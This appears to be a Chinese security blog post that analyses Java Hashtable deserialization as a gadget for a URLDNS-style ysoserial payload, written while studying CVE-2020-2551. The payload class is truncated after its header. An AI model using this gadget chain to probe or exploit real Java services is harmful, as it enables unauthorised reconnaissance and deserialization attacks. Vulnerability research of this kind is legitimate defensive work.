今天在公司分析cve-2020-2551漏洞的时候,发现了一个新的类,叫hashtable。
看了下,实现了Serializable的接口,说明这个类是可以序列化的。符合pop链的条件之一。
接下来看下hashtable的readobject方法:
1 private void readObject(java.io.ObjectInputStream s) 2 throws IOException, ClassNotFoundException 3 { 4 // Read in the threshold and loadFactor 5 s.defaultReadObject(); 6 7 // Validate loadFactor (ignore threshold - it will be re-computed) 8 if (loadFactor <= 0 || Float.isNaN(loadFactor)) 9 throw new StreamCorruptedException("Illegal Load: " + loadFactor); 10 11 // Read the original length of the array and number of elements 12 int origlength = s.readInt(); 13 int elements = s.readInt(); 14 15 // Validate # of elements 16 if (elements < 0) 17 throw new StreamCorruptedException("Illegal # of Elements: " + elements); 18 19 // Clamp original length to be more than elements / loadFactor 20 // (this is the invariant enforced with auto-growth) 21 origlength = Math.max(origlength, (int)(elements / loadFactor) + 1); 22 23 // Compute new length with a bit of room 5% + 3 to grow but 24 // no larger than the clamped original length. Make the length 25 // odd if it's large enough, this helps distribute the entries. 26 // Guard against the length ending up zero, that's not valid. 27 int length = (int)((elements + elements / 20) / loadFactor) + 3; 28 if (length > elements && (length & 1) == 0) 29 length--; 30 length = Math.min(length, origlength); 31 32 if (length < 0) { // overflow 33 length = origlength; 34 } 35 36 // Check Map.Entry[].class since it's the nearest public type to 37 // what we're actually creating. 38 SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length); 39 table = new Entry,?>[length]; 40 threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1); 41 count = 0; 42 43 // Read the number of elements and then all the key/value objects 44 for (; elements > 0; elements--) { 45 @SuppressWarnings("unchecked") 46 K key = (K)s.readObject(); 47 @SuppressWarnings("unchecked") 48 V value = (V)s.readObject(); 49 // sync is eliminated for performance 50 reconstitutionPut(table, key, value); 51 } 52 }
和hashmap很像,实际上hashmap和hashtable作用真的很像,导致他们的代码内部也很像。根据hashmap的经验,去追了一下reconstitutionPut方法,
1 private void reconstitutionPut(Entry,?>[] tab, K key, V value) 2 throws StreamCorruptedException 3 { 4 if (value == null) { 5 throw new java.io.StreamCorruptedException(); 6 } 7 // Makes sure the key is not already in the hashtable. 8 // This should not happen in deserialized version. 9 int hash = key.hashCode(); 10 int index = (hash & 0x7FFFFFFF) % tab.length; 11 for (Entry,?> e = tab[index] ; e != null ; e = e.next) { 12 if ((e.hash == hash) && e.key.equals(key)) { 13 throw new java.io.StreamCorruptedException(); 14 } 15 } 16 // Creates the new entry. 17 @SuppressWarnings("unchecked") 18 Entrye = (Entry )tab[index]; 19 tab[index] = new Entry<>(hash, key, value, e); 20 count++; 21 }
发现了int hash = key.hashCode();说明hashtable下面的key也是会进行hashCode()的操作,和hashmap的URLDNS链异曲同工,那么就简单了,URLDNS2的改写就很简单,直接把hashmap类改成hashtable即可。
源码如下:
1 package ysoserial.payloads; 2 3 import ysoserial.payloads.annotation.Authors; 4 import ysoserial.payloads.annotation.Dependencies; 5 import ysoserial.payloads.annotation.PayloadTest; 6 import ysoserial.payloads.util.PayloadRunner; 7 import ysoserial.payloads.util.Reflections; 8 9 import java.io.IOException; 10 import java.net.InetAddress; 11 import java.net.URL; 12 import java.net.URLConnection; 13 import java.net.URLStreamHandler; 14 import java.util.Hashtable; 15 16 @SuppressWarnings({ "rawtypes", "unchecked" }) 17 @PayloadTest(skip = "true") 18 @Dependencies() 19 @Authors({ Authors.GEBL }) 20 public class URLNDS2 implements ObjectPayload
URL实例还是作为触发hashtable的hashCode存在。
run 跑一下:
成功收到dns记录。